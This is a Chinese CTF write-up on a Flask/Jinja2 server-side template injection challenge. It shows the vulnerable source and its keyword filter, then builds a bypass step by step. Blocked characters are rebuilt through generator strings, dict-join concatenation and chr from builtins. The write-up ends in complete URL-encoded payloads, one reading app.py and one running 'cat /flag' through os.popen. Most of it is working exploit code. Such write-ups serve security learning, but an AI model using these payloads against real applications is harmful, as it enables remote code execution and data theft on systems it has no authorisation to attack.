Werkzeug/1.0.1Python/3.8.7
源码exp
/?name=%20{%%20set%20po=dict(po=a,p=a)|join%}%20{%%20set%20a=(()|select|string|list)|attr(po)(24)%}%20{%%20set%20ini=(a,a,dict(init=a)|join,a,a)|join()%}%20{%%20set%20glo=(a,a,dict(globals=a)|join,a,a)|join()%}%20{%%20set%20geti=(a,a,dict(getitem=a)|join,a,a)|join()%}%20{%%20set%20built=(a,a,dict(builtins=a)|join,a,a)|join()%}%20{%%20set%20x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}%20{%%20set%20chr=x.chr%}%20{%%20set%20file=chr(97)%2bchr(112)%2bchr(112)%2bchr(46)%2bchr(112)%2bchr(121)%}%20{%print(x.open(file).read())%}

源码
from flask import Flaskfrom flask import requestfrom flask import render_template_stringfrom flask import sessionimport reapp = Flask(__name__)@app.route('/')def app_index():name = request.args.get('name')if name:if re.search(r"\'|\"|args|\[|\_|os|\{\{|request",name,re.I):return ':('template = '''{%% block body %%}<div class="center-content error"><h1>Hello</h1><h3>%s</h3></div>{%% endblock %%}''' % (request.args.get('name'))return render_template_string(template)if __name__=="__main__":app.run(host='0.0.0.0',port=80)
过滤了 request,也就是说前面那的绕过没啥用了。。剩下可用的字符主要有 {%、(、|、.
下文中的绕过方法多多少少都用到 _、[、'、"
https://blog.csdn.net/miuzzx/article/details/110220425
其实主要还是获取子属性需要用到 __getxxx__、[x]、之类的。所以要点在于,如何利用控制定界符,代替被过滤的字符 _、[、'、" 和 request 获取子属性。
|attr(xx) 还能用否?能,圆括号没过滤,不过要拼接。
先把骨架部分写一下
{%lipsum|attr('__globals__')|attr('__getitem__')('os').popen('cat /tmp/flag').read()%}
'"引号可通过变量传入方式来进行{% set o=chr(111)+chr(115) %}_可以用chr(95)表示,当前其他字母也可以。chr在 Jinja2 上下文环境没法直接用,需要通过__builtins__找到
但没找到 __builtins__ 就用不了 _,真是矛盾呢。。。先拓展一下其他方法来获取 _
list:将值转换为列表。如果它是一个字符串,返回的列表将是一个字符列表。select:选择器,使用方式可迭代对象|select(filters方式){{ [1,2]|select('odd')|list }}
结果为
[2],其中odd是判断可迭代对象是否含有奇数string:转换为字符串
执行
{{ ()|select|string }}
结果为 <generator object select_or_reject at 0x105bc9970>
那么可以通过控制下表控制我们想要的字母,比如 {{ (()|select|string)[0] }} 是 <,下划线 _ 是 {{ (()|select|string)[24] }}
但题目中过滤了 [ ,那么可以利用 list 并用 pop 方法来控制,即弹出列表某一序列下标,并返回弹出的值
获取下划线 _
尝试
{{ ()|select|string|list.pop(24) }}
报错
jinja2.exceptions.TemplateAssertionError: no filter named 'list.pop'
模板中不能把 filter 和 .获取子属性混合用
但直接引用又会引入单引号
{{ ()|select|string|list|attr('pop')(24) }}
- dict:生成字典,如
dict(t=1,a=2)生成{'t': 1, 'a': 2}关键点,通过dict和join实现无中括号字符串拼接
测试代码如下 ```python from flask import Flask, request from jinja2 import Template
app = Flask(name)
@app.route(‘/‘) def index(): template = ‘’’ {%set t=dict(ta=1,r=1,i=1)|join%} {{ t }} ‘’’ return Template(template).render()
if name == “main“: app.run(‘0.0.0.0’)
输出<br /><br />可见 `join` 是拼接 `dict` 里的键,`dict`的值任意即可好,下划线 `_` 可以获取了```python{{ ()|select|string|list|attr(dict(pop=1)|join)(24) }}
因为题目过滤了 {{ ,然后为了增加这块这么长的代码复用,赋值到变量里面
{% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
把骨架中替换一下带有下划线的
{% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}{% set g=x~x~(dict(globals=x)|join)~x~x %}{% set ge=x~x~(dict(getitem=x)|join)~x~x %}
其中
~为 Jinja2 的字符串拼接方式,{{ "Hello " ~ name ~ "!" }}would return (assuming name is set to'John')Hello John!- 可参考 https://jinja.palletsprojects.com/en/2.11.x/templates/#other-operators
不过到 'os' 模块这,要用到 chr 方法,否则无法绕过 '
{# 下划线 '_' #}{% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}{# 字符串 '__globals__' #}{% set g=x~x~(dict(globals=x)|join)~x~x %}{# 字符串 '__getitem__' #}{% set ge=x~x~(dict(getitem=x)|join)~x~x %}{# 字符串 '__builtins__' #}{% set b=x~x~(dict(builtins=x)|join)~x~x %}{# builtins模块 lipsum.__globals__.__getitem__('__builtins__') #}{% set buin=(lipsum|attr(g)|attr(ge))(b) %}{# chr函数 lipsum.__globals__.__getitem__('__builtins__').chr #}{% set chr=buin.chr %}{# os模块 lipsum.__globals__.__getitem__('os') #}{% set o=lipsum|attr(g)|attr(ge)(chr(111)+chr(115)) %}{# 需要执行的命令, 这里是 cat /tmp/flag #}{% set cmd=chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103) %}{% print(o.popen(cmd).read()) %}
- 其中
{# #}定界符为注释
在对应下我们的骨架,差不多了 (
{%lipsum|attr('__globals__')|attr('__getitem__')('os').popen('cat /tmp/flag').read()%}
本地试试,没啥问题
因为打线上是通过 GET 参数进行的,有点小细节
+号要 URL 编码为%2b否则,+URL解码会变为空格
最终 EXP
/?name={%%20set%20x=()|select|string|list|attr(dict(pop=1)|join)(24)%20%}{%%20set%20g=x~x~(dict(globals=x)|join)~x~x%20%}{%%20set%20ge=x~x~(dict(getitem=x)|join)~x~x%20%}{%%20set%20b=x~x~(dict(builtins=x)|join)~x~x%20%}{%%20set%20buin=(lipsum|attr(g)|attr(ge))(b)%20%}{%%20set%20chr=buin.chr%20%}{%%20set%20o=lipsum|attr(g)|attr(ge)(chr(111)%2bchr(115))%20%}{%%20set%20cmd=chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%20%}{%%20print(o.popen(cmd).read())%20%}

